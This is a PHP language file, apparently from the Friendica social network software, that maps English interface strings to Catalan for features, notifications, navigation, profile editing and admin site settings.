$a->strings["Group Filter"] = "Filtre de Grup";
$a->strings["Enable widget to display Network posts only from selected group"] = "Habilitar botò per veure missatges de Xarxa només del grup seleccionat";
$a->strings["Network Filter"] = "Filtre de Xarxa";
$a->strings["Enable widget to display Network posts only from selected network"] = "Habilitar botò per veure missatges de Xarxa només de la xarxa seleccionada";
$a->strings["Saved Searches"] = "Cerques Guardades";
$a->strings["Save search terms for re-use"] = "Guarda els termes de cerca per re-emprar";
$a->strings["Network Tabs"] = "Pestanya Xarxes";
$a->strings["Network Personal Tab"] = "Pestanya Xarxa Personal";
$a->strings["Enable tab to display only Network posts that you've interacted on"] = "Habilitar la pestanya per veure unicament missatges de Xarxa en els que has intervingut";
$a->strings["Network New Tab"] = "Pestanya Nova Xarxa";
$a->strings["Enable tab to display only new Network posts (from the last 12 hours)"] = "Habilitar la pestanya per veure només els nous missatges de Xarxa (els de les darreres 12 hores)";
$a->strings["Network Shared Links Tab"] = "Pestanya d'Enllaços de Xarxa Compartits";
$a->strings["Enable tab to display only Network posts with links in them"] = "Habilitar la pestanya per veure els missatges de Xarxa amb enllaços en ells";
$a->strings["Post/Comment Tools"] = "Eines d'Enviaments/Comentaris";
$a->strings["Multiple Deletion"] = "Esborrat Múltiple";
$a->strings["Select and delete multiple posts/comments at once"] = "Sel·lecciona i esborra múltiples enviaments/commentaris en una vegada";
$a->strings["Edit Sent Posts"] = "Editar Missatges Enviats";
$a->strings["Edit and correct posts and comments after sending"] = "Edita i corregeix enviaments i comentaris una vegada han estat enviats";
$a->strings["Tagging"] = "Etiquetant";
$a->strings["Ability to tag existing posts"] = "Habilitar el etiquetar missatges existents";
$a->strings["Post Categories"] = "Categories en Enviaments";
$a->strings["Add categories to your posts"] = "Afegeix categories als teus enviaments";
$a->strings["Ability to file posts under folders"] = "Habilitar el arxivar missatges en carpetes";
$a->strings["Dislike Posts"] = "No agrada el Missatge";
$a->strings["Ability to dislike posts/comments"] = "Habilita el marcar amb \"no agrada\" els enviaments/comentaris";
$a->strings["Star Posts"] = "Missatge Estelar";
$a->strings["Ability to mark special posts with a star indicator"] = "Habilita el marcar amb un estel, missatges especials";
$a->strings["Cannot locate DNS info for database server '%s'"] = "No put trobar informació de DNS del servidor de base de dades '%s'";
$a->strings["prev"] = "Prev";
$a->strings["first"] = "Primer";
$a->strings["last"] = "Últim";
$a->strings["next"] = "següent";
$a->strings["newer"] = "Més nou";
$a->strings["older"] = "més vell";
$a->strings["No contacts"] = "Sense contactes";
$a->strings["%d Contact"] = array(
0 => "%d Contacte",
1 => "%d Contactes",
);
$a->strings["View Contacts"] = "Veure Contactes";
$a->strings["Search"] = "Cercar";
$a->strings["Save"] = "Guardar";
$a->strings["poke"] = "atia";
$a->strings["poked"] = "atiar";
$a->strings["ping"] = "toc";
$a->strings["pinged"] = "tocat";
$a->strings["prod"] = "pinxat";
$a->strings["prodded"] = "pinxat";
$a->strings["slap"] = "bufetada";
$a->strings["slapped"] = "Abufetejat";
$a->strings["finger"] = "dit";
$a->strings["fingered"] = "Senyalat";
$a->strings["rebuff"] = "rebuig";
$a->strings["rebuffed"] = "rebutjat";
$a->strings["happy"] = "feliç";
$a->strings["sad"] = "trist";
$a->strings["mellow"] = "embafador";
$a->strings["tired"] = "cansat";
$a->strings["perky"] = "alegre";
$a->strings["angry"] = "disgustat";
$a->strings["stupified"] = "estupefacte";
$a->strings["puzzled"] = "perplexe";
$a->strings["interested"] = "interessat";
$a->strings["bitter"] = "amarg";
$a->strings["cheerful"] = "animat";
$a->strings["alive"] = "viu";
$a->strings["annoyed"] = "molest";
$a->strings["anxious"] = "ansiós";
$a->strings["cranky"] = "irritable";
$a->strings["disturbed"] = "turbat";
$a->strings["frustrated"] = "frustrat";
$a->strings["motivated"] = "motivat";
$a->strings["relaxed"] = "tranquil";
$a->strings["surprised"] = "sorprès";
$a->strings["Monday"] = "Dilluns";
$a->strings["Tuesday"] = "Dimarts";
$a->strings["Wednesday"] = "Dimecres";
$a->strings["Thursday"] = "Dijous";
$a->strings["Friday"] = "Divendres";
$a->strings["Saturday"] = "Dissabte";
$a->strings["Sunday"] = "Diumenge";
$a->strings["January"] = "Gener";
$a->strings["February"] = "Febrer";
$a->strings["March"] = "Març";
$a->strings["April"] = "Abril";
$a->strings["May"] = "Maig";
$a->strings["June"] = "Juny";
$a->strings["July"] = "Juliol";
$a->strings["August"] = "Agost";
$a->strings["September"] = "Setembre";
$a->strings["October"] = "Octubre";
$a->strings["November"] = "Novembre";
$a->strings["December"] = "Desembre";
$a->strings["View Video"] = "Veure Video";
$a->strings["bytes"] = "bytes";
$a->strings["Click to open/close"] = "Clicar per a obrir/tancar";
$a->strings["link to source"] = "Enllaç al origen";
$a->strings["Select an alternate language"] = "Sel·lecciona un idioma alternatiu";
$a->strings["event"] = "esdeveniment";
$a->strings["activity"] = "activitat";
$a->strings["comment"] = array(
0 => "",
1 => "comentari",
);
$a->strings["post"] = "missatge";
$a->strings["Item filed"] = "Element arxivat";
$a->strings["A deleted group with this name was revived. Existing item permissions <strong>may</strong> apply to this group and any future members. If this is not what you intended, please create another group with a different name."] = "Un grup eliminat amb aquest nom va ser restablert. Els permisos dels elements existents <strong>poden</strong> aplicar-se a aquest grup i tots els futurs membres. Si això no és el que pretén, si us plau, crei un altre grup amb un nom diferent.";
$a->strings["Default privacy group for new contacts"] = "Privacitat per defecte per a nous contactes";
$a->strings["Everybody"] = "Tothom";
$a->strings["edit"] = "editar";
$a->strings["Groups"] = "Grups";
$a->strings["Edit group"] = "Editar grup";
$a->strings["Create a new group"] = "Crear un nou grup";
$a->strings["Contacts not in any group"] = "Contactes en cap grup";
$a->strings["add"] = "afegir";
$a->strings["%1\$s doesn't like %2\$s's %3\$s"] = "a %1\$s no agrada %2\$s de %3\$s";
$a->strings["%1\$s poked %2\$s"] = "%1\$s atiat %2\$s";
$a->strings["%1\$s is currently %2\$s"] = "%1\$s es normalment %2\$s";
$a->strings["%1\$s tagged %2\$s's %3\$s with %4\$s"] = "%1\$s etiquetats %2\$s %3\$s amb %4\$s";
$a->strings["post/item"] = "anunci/element";
$a->strings["%1\$s marked %2\$s's %3\$s as favorite"] = "%1\$s marcat %2\$s's %3\$s com favorit";
$a->strings["Select"] = "Selecionar";
$a->strings["Delete"] = "Esborrar";
$a->strings["View %s's profile @ %s"] = "Veure perfil de %s @ %s";
$a->strings["Categories:"] = "Categories:";
$a->strings["Filed under:"] = "Arxivat a:";
$a->strings["%s from %s"] = "%s des de %s";
$a->strings["View in context"] = "Veure en context";
$a->strings["Please wait"] = "Si us plau esperi";
$a->strings["remove"] = "esborrar";
$a->strings["Delete Selected Items"] = "Esborra els Elements Seleccionats";
$a->strings["Follow Thread"] = "Seguir el Fil";
$a->strings["%s likes this."] = "a %s agrada això.";
$a->strings["%s doesn't like this."] = "a %s desagrada això.";
$a->strings["<span %1\$s>%2\$d people</span> like this"] = "<span %1\$s>%2\$d gent</span> agrada això";
$a->strings["<span %1\$s>%2\$d people</span> don't like this"] = "<span %1\$s>%2\$d gent</span> no agrada això";
$a->strings["and"] = "i";
$a->strings[", and %d other people"] = ", i altres %d persones";
$a->strings["%s like this."] = "a %s li agrada això.";
$a->strings["%s don't like this."] = "a %s no li agrada això.";
$a->strings["Visible to <strong>everybody</strong>"] = "Visible per a <strong>tothom</strong>";
$a->strings["Please enter a link URL:"] = "Sius plau, entri l'enllaç URL:";
$a->strings["Please enter a video link/URL:"] = "Per favor , introdueixi el enllaç/URL del video";
$a->strings["Please enter an audio link/URL:"] = "Per favor , introdueixi el enllaç/URL del audio:";
$a->strings["Tag term:"] = "Terminis de l'etiqueta:";
$a->strings["Save to Folder:"] = "Guardar a la Carpeta:";
$a->strings["Where are you right now?"] = "On ets ara?";
$a->strings["Delete item(s)?"] = "Esborrar element(s)?";
$a->strings["Post to Email"] = "Correu per enviar";
$a->strings["Share"] = "Compartir";
$a->strings["Upload photo"] = "Carregar foto";
$a->strings["upload photo"] = "carregar fotos";
$a->strings["Attach file"] = "Adjunta fitxer";
$a->strings["attach file"] = "adjuntar arxiu";
$a->strings["Insert web link"] = "Inserir enllaç web";
$a->strings["web link"] = "enllaç de web";
$a->strings["Insert video link"] = "Insertar enllaç de video";
$a->strings["video link"] = "enllaç de video";
$a->strings["Insert audio link"] = "Insertar enllaç de audio";
$a->strings["audio link"] = "enllaç de audio";
$a->strings["Set your location"] = "Canvia la teva ubicació";
$a->strings["set location"] = "establir la ubicació";
$a->strings["Clear browser location"] = "neteja adreçes del navegador";
$a->strings["clear location"] = "netejar ubicació";
$a->strings["Set title"] = "Canviar títol";
$a->strings["Categories (comma-separated list)"] = "Categories (lista separada per comes)";
$a->strings["Permission settings"] = "Configuració de permisos";
$a->strings["permissions"] = "Permissos";
$a->strings["CC: email addresses"] = "CC: Adreça de correu";
$a->strings["Public post"] = "Enviament públic";
$a->strings["Example: <EMAIL>, <EMAIL>"] = "Exemple: <EMAIL>, <EMAIL>";
$a->strings["Preview"] = "Vista prèvia";
$a->strings["Post to Groups"] = "Publica-ho a Grups";
$a->strings["Post to Contacts"] = "Publica-ho a Contactes";
$a->strings["Private post"] = "Enviament Privat";
$a->strings["Friendica Notification"] = "Notificacions de Friendica";
$a->strings["Thank You,"] = "Gràcies,";
$a->strings["%s Administrator"] = "%s Administrador";
$a->strings["%s <!item_type!>"] = "%s <!item_type!>";
$a->strings["[Friendica:Notify] New mail received at %s"] = "[Friendica: Notifica] nou correu rebut a %s";
$a->strings["%1\$s sent you a new private message at %2\$s."] = "%1\$s t'ha enviat un missatge privat nou en %2\$s.";
$a->strings["%1\$s sent you %2\$s."] = "%1\$s t'ha enviat %2\$s.";
$a->strings["a private message"] = "un missatge privat";
$a->strings["Please visit %s to view and/or reply to your private messages."] = "Per favor, visiteu %s per a veure i/o respondre els teus missatges privats.";
$a->strings["%1\$s commented on [url=%2\$s]a %3\$s[/url]"] = "%1\$s ha comentat en [url=%2\$s]a %3\$s[/url]";
$a->strings["%1\$s commented on [url=%2\$s]%3\$s's %4\$s[/url]"] = "%1\$s ha comentat en [url=%2\$s]%3\$s de %4\$s[/url]";
$a->strings["%1\$s commented on [url=%2\$s]your %3\$s[/url]"] = "%1\$s ha comentat en [url=%2\$s] el teu %3\$s[/url]";
$a->strings["[Friendica:Notify] Comment to conversation #%1\$d by %2\$s"] = "[Friendica:Notificació] Comentaris a la conversació #%1\$d per %2\$s";
$a->strings["%s commented on an item/conversation you have been following."] = "%s ha comentat un element/conversació que estas seguint.";
$a->strings["Please visit %s to view and/or reply to the conversation."] = "Si us pau, visiteu %s per a veure i/o respondre la conversació.";
$a->strings["[Friendica:Notify] %s posted to your profile wall"] = "[Friendica:Notifica] %s enviat al teu mur del perfil";
$a->strings["%1\$s posted to your profile wall at %2\$s"] = "%1\$s ha fet un enviament al teu mur de perfils en %2\$s";
$a->strings["%1\$s posted to [url=%2\$s]your wall[/url]"] = "%1\$s enviat a [url=%2\$s]teu mur[/url]";
$a->strings["[Friendica:Notify] %s tagged you"] = "[Friendica:Notifica] %s t'ha etiquetat";
$a->strings["%1\$s tagged you at %2\$s"] = "%1\$s t'ha etiquetat a %2\$s";
$a->strings["%1\$s [url=%2\$s]tagged you[/url]."] = "%1\$s [url=%2\$s] t'ha etiquetat[/url].";
$a->strings["[Friendica:Notify] %1\$s poked you"] = "[Friendica:Notificació] %1\$s t'atia";
$a->strings["%1\$s poked you at %2\$s"] = "%1\$s t'atia en %2\$s";
$a->strings["%1\$s [url=%2\$s]poked you[/url]."] = "%1\$s [url=%2\$s]t'atia[/url].";
$a->strings["[Friendica:Notify] %s tagged your post"] = "[Friendica:Notifica] %s ha etiquetat el teu missatge";
$a->strings["%1\$s tagged your post at %2\$s"] = "%1\$s ha etiquetat un missatge teu a %2\$s";
$a->strings["%1\$s tagged [url=%2\$s]your post[/url]"] = "%1\$s etiquetà [url=%2\$s] el teu enviament[/url]";
$a->strings["[Friendica:Notify] Introduction received"] = "[Friendica:Notifica] Presentacio rebuda";
$a->strings["You've received an introduction from '%1\$s' at %2\$s"] = "Has rebut una presentació des de '%1\$s' en %2\$s";
$a->strings["You've received [url=%1\$s]an introduction[/url] from %2\$s."] = "Has rebut [url=%1\$s] com a presentació[/url] des de %2\$s.";
$a->strings["You may visit their profile at %s"] = "Pot visitar el seu perfil en %s";
$a->strings["Please visit %s to approve or reject the introduction."] = "Si us plau visiteu %s per aprovar o rebutjar la presentació.";
$a->strings["[Friendica:Notify] Friend suggestion received"] = "[Friendica:Notifica] Suggerencia d'amistat rebuda";
$a->strings["You've received a friend suggestion from '%1\$s' at %2\$s"] = "Has rebut una suggerencia d'amistat des de '%1\$s' en %2\$s";
$a->strings["You've received [url=%1\$s]a friend suggestion[/url] for %2\$s from %3\$s."] = "Has rebut [url=%1\$s] com a suggerencia d'amistat[/url] per a %2\$s des de %3\$s.";
$a->strings["Name:"] = "Nom:";
$a->strings["Photo:"] = "Foto:";
$a->strings["Please visit %s to approve or reject the suggestion."] = "Si us plau, visiteu %s per aprovar o rebutjar la suggerencia.";
$a->strings["[no subject]"] = "[Sense assumpte]";
$a->strings["Wall Photos"] = "Fotos del Mur";
$a->strings["Nothing new here"] = "Res nou aquí";
$a->strings["Clear notifications"] = "Neteja notificacions";
$a->strings["Logout"] = "Sortir";
$a->strings["End this session"] = "Termina sessió";
$a->strings["Status"] = "Estatus";
$a->strings["Your posts and conversations"] = "Els teus anuncis i converses";
$a->strings["Your profile page"] = "La seva pàgina de perfil";
$a->strings["Photos"] = "Fotos";
$a->strings["Your photos"] = "Les seves fotos";
$a->strings["Events"] = "Esdeveniments";
$a->strings["Your events"] = "Els seus esdeveniments";
$a->strings["Personal notes"] = "Notes personals";
$a->strings["Your personal photos"] = "Les seves fotos personals";
$a->strings["Login"] = "Identifica't";
$a->strings["Sign in"] = "Accedeix";
$a->strings["Home"] = "Inici";
$a->strings["Home Page"] = "Pàgina d'Inici";
$a->strings["Register"] = "Registrar";
$a->strings["Create an account"] = "Crear un compte";
$a->strings["Help"] = "Ajuda";
$a->strings["Help and documentation"] = "Ajuda i documentació";
$a->strings["Apps"] = "Aplicacions";
$a->strings["Addon applications, utilities, games"] = "Afegits: aplicacions, utilitats, jocs";
$a->strings["Search site content"] = "Busca contingut en el lloc";
$a->strings["Community"] = "Comunitat";
$a->strings["Conversations on this site"] = "Converses en aquest lloc";
$a->strings["Directory"] = "Directori";
$a->strings["People directory"] = "Directori de gent";
$a->strings["Network"] = "Xarxa";
$a->strings["Conversations from your friends"] = "Converses dels teus amics";
$a->strings["Network Reset"] = "Reiniciar Xarxa";
$a->strings["Load Network page with no filters"] = "carrega la pàgina de Xarxa sense filtres";
$a->strings["Introductions"] = "Presentacions";
$a->strings["Friend Requests"] = "Sol·licitud d'Amistat";
$a->strings["Notifications"] = "Notificacions";
$a->strings["See all notifications"] = "Veure totes les notificacions";
$a->strings["Mark all system notifications seen"] = "Marcar totes les notificacions del sistema com a vistes";
$a->strings["Messages"] = "Missatges";
$a->strings["Private mail"] = "Correu privat";
$a->strings["Inbox"] = "Safata d'entrada";
$a->strings["Outbox"] = "Safata de sortida";
$a->strings["New Message"] = "Nou Missatge";
$a->strings["Manage"] = "Gestionar";
$a->strings["Manage other pages"] = "Gestiona altres pàgines";
$a->strings["Delegations"] = "Delegacions";
$a->strings["Delegate Page Management"] = "Gestió de les Pàgines Delegades";
$a->strings["Settings"] = "Ajustos";
$a->strings["Account settings"] = "Configuració del compte";
$a->strings["Profiles"] = "Perfils";
$a->strings["Manage/Edit Profiles"] = "Gestiona/Edita Perfils";
$a->strings["Contacts"] = "Contactes";
$a->strings["Manage/edit friends and contacts"] = "Gestiona/edita amics i contactes";
$a->strings["Admin"] = "Admin";
$a->strings["Site setup and configuration"] = "Ajustos i configuració del lloc";
$a->strings["Navigation"] = "Navegació";
$a->strings["Site map"] = "Mapa del lloc";
$a->strings["Embedded content"] = "Contingut incrustat";
$a->strings["Embedding disabled"] = "Incrustacions deshabilitades";
$a->strings["Error decoding account file"] = "Error decodificant l'arxiu del compte";
$a->strings["Error! No version data in file! This is not a Friendica account file?"] = "Error! No hi ha dades al arxiu! No es un arxiu de compte de Friendica?";
$a->strings["Error! Cannot check nickname"] = "Error! No puc comprobar l'Àlies";
$a->strings["User '%s' already exists on this server!"] = "El usuari %s' ja existeix en aquest servidor!";
$a->strings["User creation error"] = "Error en la creació de l'usuari";
$a->strings["User profile creation error"] = "Error en la creació del perfil d'usuari";
$a->strings["%d contact not imported"] = array(
0 => "%d contacte no importat",
1 => "%d contactes no importats",
);
$a->strings["Done. You can now login with your username and password"] = "Fet. Ja pots identificar-te amb el teu nom d'usuari i contrasenya";
$a->strings["Welcome "] = "Benvingut";
$a->strings["Please upload a profile photo."] = "Per favor, carrega una foto per al perfil";
$a->strings["Welcome back "] = "Benvingut de nou ";
$a->strings["The form security token was not correct. This probably happened because the form has been opened for too long (>3 hours) before submitting it."] = "El formulari del token de seguretat no es correcte. Això probablement passa perquè el formulari ha estat massa temps obert (>3 hores) abans d'enviat-lo.";
$a->strings["Profile not found."] = "Perfil no trobat.";
$a->strings["Profile deleted."] = "Perfil esborrat.";
$a->strings["Profile-"] = "Perfil-";
$a->strings["New profile created."] = "Nou perfil creat.";
$a->strings["Profile unavailable to clone."] = "No es pot clonar el perfil.";
$a->strings["Profile Name is required."] = "Nom de perfil requerit.";
$a->strings["Marital Status"] = "Estatus Marital";
$a->strings["Romantic Partner"] = "Soci Romàntic";
$a->strings["Likes"] = "Agrada";
$a->strings["Dislikes"] = "No agrada";
$a->strings["Work/Employment"] = "Treball/Ocupació";
$a->strings["Religion"] = "Religió";
$a->strings["Political Views"] = "Idees Polítiques";
$a->strings["Gender"] = "Gènere";
$a->strings["Sexual Preference"] = "Preferència sexual";
$a->strings["Homepage"] = "Inici";
$a->strings["Interests"] = "Interesos";
$a->strings["Address"] = "Adreça";
$a->strings["Location"] = "Ubicació";
$a->strings["Profile updated."] = "Perfil actualitzat.";
$a->strings[" and "] = " i ";
$a->strings["public profile"] = "perfil públic";
$a->strings["%1\$s changed %2\$s to “%3\$s”"] = "%1\$s s'ha canviat de %2\$s a “%3\$s”";
$a->strings[" - Visit %1\$s's %2\$s"] = " - Visita %1\$s de %2\$s";
$a->strings["%1\$s has an updated %2\$s, changing %3\$s."] = "%1\$s te una actualització %2\$s, canviant %3\$s.";
$a->strings["Hide your contact/friend list from viewers of this profile?"] = "Amaga la llista de contactes/amics en la vista d'aquest perfil?";
$a->strings["No"] = "No";
$a->strings["Edit Profile Details"] = "Editor de Detalls del Perfil";
$a->strings["Submit"] = "Enviar";
$a->strings["Change Profile Photo"] = "Canviar la Foto del Perfil";
$a->strings["View this profile"] = "Veure aquest perfil";
$a->strings["Create a new profile using these settings"] = "Crear un nou perfil amb aquests ajustos";
$a->strings["Clone this profile"] = "Clonar aquest perfil";
$a->strings["Delete this profile"] = "Esborrar aquest perfil";
$a->strings["Profile Name:"] = "Nom de Perfil:";
$a->strings["Your Full Name:"] = "El Teu Nom Complet.";
$a->strings["Title/Description:"] = "Títol/Descripció:";
$a->strings["Your Gender:"] = "Gènere:";
$a->strings["Birthday (%s):"] = "Aniversari (%s)";
$a->strings["Street Address:"] = "Direcció:";
$a->strings["Locality/City:"] = "Localitat/Ciutat:";
$a->strings["Postal/Zip Code:"] = "Codi Postal:";
$a->strings["Country:"] = "País";
$a->strings["Region/State:"] = "Regió/Estat:";
$a->strings["<span class=\"heart\">♥</span> Marital Status:"] = "<span class=\"heart\">♥</span> Estat Civil:";
$a->strings["Who: (if applicable)"] = "Qui? (si és aplicable)";
$a->strings["Examples: cathy123, <NAME>, <EMAIL>"] = "Exemples: cathy123, <NAME>, <EMAIL>";
$a->strings["Since [date]:"] = "Des de [data]";
$a->strings["Homepage URL:"] = "Pàgina web URL:";
$a->strings["Religious Views:"] = "Creencies Religioses:";
$a->strings["Public Keywords:"] = "Paraules Clau Públiques";
$a->strings["Private Keywords:"] = "Paraules Clau Privades:";
$a->strings["Example: fishing photography software"] = "Exemple: pesca fotografia programari";
$a->strings["(Used for suggesting potential friends, can be seen by others)"] = "(Emprat per suggerir potencials amics, Altres poden veure-ho)";
$a->strings["(Used for searching profiles, never shown to others)"] = "(Emprat durant la cerca de perfils, mai mostrat a ningú)";
$a->strings["Tell us about yourself..."] = "Parla'ns de tú.....";
$a->strings["Hobbies/Interests"] = "Aficions/Interessos";
$a->strings["Contact information and Social Networks"] = "Informació de contacte i Xarxes Socials";
$a->strings["Musical interests"] = "Gustos musicals";
$a->strings["Books, literature"] = "Llibres, Literatura";
$a->strings["Television"] = "Televisió";
$a->strings["Film/dance/culture/entertainment"] = "Cinema/ball/cultura/entreteniments";
$a->strings["Love/romance"] = "Amor/sentiments";
$a->strings["Work/employment"] = "Treball/ocupació";
$a->strings["School/education"] = "Ensenyament/estudis";
$a->strings["This is your <strong>public</strong> profile.<br />It <strong>may</strong> be visible to anybody using the internet."] = "Aquest és el teu perfil <strong>públic</strong>.<br />El qual <strong>pot</strong> ser visible per qualsevol qui faci servir Internet.";
$a->strings["Age: "] = "Edat:";
$a->strings["Edit/Manage Profiles"] = "Editar/Gestionar Perfils";
$a->strings["Change profile photo"] = "Canviar la foto del perfil";
$a->strings["Create New Profile"] = "Crear un Nou Perfil";
$a->strings["Profile Image"] = "Imatge del Perfil";
$a->strings["visible to everybody"] = "Visible per tothom";
$a->strings["Edit visibility"] = "Editar visibilitat";
$a->strings["Permission denied"] = "Permís denegat";
$a->strings["Invalid profile identifier."] = "Identificador del perfil no vàlid.";
$a->strings["Profile Visibility Editor"] = "Editor de Visibilitat del Perfil";
$a->strings["Click on a contact to add or remove."] = "Clicar sobre el contacte per afegir o esborrar.";
$a->strings["Visible To"] = "Visible Per";
$a->strings["All Contacts (with secure profile access)"] = "Tots els Contactes (amb accés segur al perfil)";
$a->strings["Personal Notes"] = "Notes Personals";
$a->strings["Public access denied."] = "Accés públic denegat.";
$a->strings["Access to this profile has been restricted."] = "L'accés a aquest perfil ha estat restringit.";
$a->strings["Item has been removed."] = "El element ha estat esborrat.";
$a->strings["Visit %s's profile [%s]"] = "Visitar perfil de %s [%s]";
$a->strings["Edit contact"] = "Editar contacte";
$a->strings["Contacts who are not members of a group"] = "Contactes que no pertanyen a cap grup";
$a->strings["{0} wants to be your friend"] = "{0} vol ser el teu amic";
$a->strings["{0} sent you a message"] = "{0} t'ha enviat un missatge de";
$a->strings["{0} requested registration"] = "{0} solicituts de registre";
$a->strings["{0} commented %s's post"] = "{0} va comentar l'enviament de %s";
$a->strings["{0} liked %s's post"] = "A {0} l'ha agradat l'enviament de %s";
$a->strings["{0} disliked %s's post"] = "A {0} no l'ha agradat l'enviament de %s";
$a->strings["{0} is now friends with %s"] = "{0} ara és amic de %s";
$a->strings["{0} posted"] = "{0} publicat";
$a->strings["{0} tagged %s's post with #%s"] = "{0} va etiquetar la publicació de %s com #%s";
$a->strings["{0} mentioned you in a post"] = "{0} et menciona en un missatge";
$a->strings["Theme settings updated."] = "Ajustos de Tema actualitzats";
$a->strings["Site"] = "Lloc";
$a->strings["Users"] = "Usuaris";
$a->strings["Plugins"] = "Plugins";
$a->strings["Themes"] = "Temes";
$a->strings["DB updates"] = "Actualitzacions de BD";
$a->strings["Logs"] = "Registres";
$a->strings["Plugin Features"] = "Característiques del Plugin";
$a->strings["User registrations waiting for confirmation"] = "Registre d'usuari a l'espera de confirmació";
$a->strings["Normal Account"] = "Compte Normal";
$a->strings["Soapbox Account"] = "Compte Tribuna";
$a->strings["Community/Celebrity Account"] = "Compte de Comunitat/Celebritat";
$a->strings["Automatic Friend Account"] = "Compte d'Amistat Automàtic";
$a->strings["Blog Account"] = "Compte de Blog";
$a->strings["Private Forum"] = "Fòrum Privat";
$a->strings["Message queues"] = "Cues de missatges";
$a->strings["Administration"] = "Administració";
$a->strings["Summary"] = "Sumari";
$a->strings["Registered users"] = "Usuaris registrats";
$a->strings["Pending registrations"] = "Registres d'usuari pendents";
$a->strings["Version"] = "Versió";
$a->strings["Active plugins"] = "Plugins actius";
$a->strings["Site settings updated."] = "Ajustos del lloc actualitzats.";
$a->strings["No special theme for mobile devices"] = "No hi ha un tema específic per a mòbil";
$a->strings["Never"] = "Mai";
$a->strings["Multi user instance"] = "Instancia multiusuari";
$a->strings["Closed"] = "Tancat";
$a->strings["Requires approval"] = "Requereix aprovació";
$a->strings["Open"] = "Obert";
$a->strings["No SSL policy, links will track page SSL state"] = "No existe una política de SSL, se hará un seguimiento de los vínculos de la página con SSL";
$a->strings["Force all links to use SSL"] = "Forzar a tots els enllaços a utilitzar SSL";
$a->strings["Self-signed certificate, use SSL for local links only (discouraged)"] = "Certificat auto-signat, utilitzar SSL només per a enllaços locals (desaconsellat)";
$a->strings["Registration"] = "Procés de Registre";
$a->strings["File upload"] = "Fitxer carregat";
$a->strings["Policies"] = "Polítiques";
$a->strings["Advanced"] = "Avançat";
$a->strings["Performance"] = "Rendiment";
$a->strings["Site name"] = "Nom del lloc";
$a->strings["Banner/Logo"] = "Senyera/Logo";
$a->strings["System language"] = "Idioma del Sistema";
$a->strings["System theme"] = "Tema del sistema";
$a->strings["Default system theme - may be over-ridden by user profiles - <a href='#' id='cnftheme'>change theme settings</a>"] = "Tema per defecte del sistema - pot ser obviat pels perfils del usuari - <a href='#' id='cnftheme'>Canviar ajustos de tema</a>";
$a->strings["Mobile system theme"] = "Tema per a mòbil";
$a->strings["Theme for mobile devices"] = "Tema per a aparells mòbils";
$a->strings["SSL link policy"] = "Política SSL per als enllaços";
$a->strings["Determines whether generated links should be forced to use SSL"] = "Determina si els enllaços generats han de ser forçats a utilitzar SSL";
$a->strings["'Share' element"] = "'Compartir' element";
$a->strings["Activates the bbcode element 'share' for repeating items."] = "Activa el element bbcode 'compartir' per a repetir articles.";
$a->strings["Hide help entry from navigation menu"] = "Amaga l'entrada d'ajuda del menu de navegació";
$a->strings["Hides the menu entry for the Help pages from the navigation menu. You can still access it calling /help directly."] = "Amaga l'entrada del menú de les pàgines d'ajuda. Pots encara accedir entrant /ajuda directament.";
$a->strings["Single user instance"] = "Instancia per a un únic usuari";
$a->strings["Make this instance multi-user or single-user for the named user"] = "Fer aquesta instancia multi-usuari o mono-usuari per al usuari anomenat";
$a->strings["Maximum image size"] = "Mida màxima de les imatges";
$a->strings["Maximum size in bytes of uploaded images. Default is 0, which means no limits."] = "Mida màxima en bytes de les imatges a pujar. Per defecte es 0, que vol dir sense límits.";
$a->strings["Maximum image length"] = "Maxima longitud d'imatge";
$a->strings["Maximum length in pixels of the longest side of uploaded images. Default is -1, which means no limits."] = "Longitud màxima en píxels del costat més llarg de la imatge carregada. Per defecte es -1, que significa sense límits";
$a->strings["JPEG image quality"] = "Qualitat per a la imatge JPEG";
$a->strings["Uploaded JPEGS will be saved at this quality setting [0-100]. Default is 100, which is full quality."] = "Els JPEGs pujats seran guardats amb la qualitat que ajustis de [0-100]. Per defecte es 100 màxima qualitat.";
$a->strings["Register policy"] = "Política per a registrar";
$a->strings["Maximum Daily Registrations"] = "Registres Màxims Diaris";
$a->strings["If registration is permitted above, this sets the maximum number of new user registrations to accept per day. If register is set to closed, this setting has no effect."] = "Si es permet el registre, això ajusta el nombre màxim de nous usuaris a acceptar diariament. Si el registre esta tancat, aquest ajust no te efectes.";
$a->strings["Register text"] = "Text al registrar";
$a->strings["Will be displayed prominently on the registration page."] = "Serà mostrat de forma preminent a la pàgina durant el procés de registre.";
$a->strings["Accounts abandoned after x days"] = "Comptes abandonats després de x dies";
$a->strings["Will not waste system resources polling external sites for abandonded accounts. Enter 0 for no time limit."] = "No gastará recursos del sistema creant enquestes des de llocs externos per a comptes abandonats. Introdueixi 0 per a cap límit temporal.";
$a->strings["Allowed friend domains"] = "Dominis amics permesos";
$a->strings["Comma separated list of domains which are allowed to establish friendships with this site. Wildcards are accepted. Empty to allow any domains"] = "Llista de dominis separada per comes, de adreçes de correu que són permeses per establir amistats. S'admeten comodins. Deixa'l buit per a acceptar tots els dominis.";
$a->strings["Allowed email domains"] = "Dominis de correu permesos";
$a->strings["Comma separated list of domains which are allowed in email addresses for registrations to this site. Wildcards are accepted. Empty to allow any domains"] = "Llista de dominis separada per comes, de adreçes de correu que són permeses per registrtar-se. S'admeten comodins. Deixa'l buit per a acceptar tots els dominis.";
$a->strings["Block public"] = "Bloqueig públic";
$a->strings["Check to block public access to all otherwise public personal pages on this site unless you are currently logged in."] = "Bloqueja l'accés públic a qualsevol pàgina del lloc fins que t'hagis identificat.";
$a->strings["Force publish"] = "Forçar publicació";
$a->strings["Check to force all profiles on this site to be listed in the site directory."] = "Obliga a que tots el perfils en aquest lloc siguin mostrats en el directori del lloc.";
$a->strings["Global directory update URL"] = "Actualitzar URL del directori global";
$a->strings["URL to update the global directory. If this is not set, the global directory is completely unavailable to the application."] = "URL per actualitzar el directori global. Si no es configura, el directori global serà completament inaccesible per a l'aplicació. ";
$a->strings["Allow threaded items"] = "Permetre fils als articles";
$a->strings["Allow infinite level threading for items on this site."] = "Permet un nivell infinit de fils per a articles en aquest lloc.";
$a->strings["Private posts by default for new users"] = "Els enviaments dels nous usuaris seran privats per defecte.";
$a->strings["Set default post permissions for all new members to the default privacy group rather than public."] = "Canviar els permisos d'enviament per defecte per a tots els nous membres a grup privat en lloc de públic.";
$a->strings["Don't include post content in email notifications"] = "No incloure el assumpte a les notificacions per correu electrónic";
$a->strings["Don't include the content of a post/comment/private message/etc. in the email notifications that are sent out from this site, as a privacy measure."] = "No incloure assumpte d'un enviament/comentari/missatge_privat/etc. Als correus electronics que envii fora d'aquest lloc, com a mesura de privacitat. ";
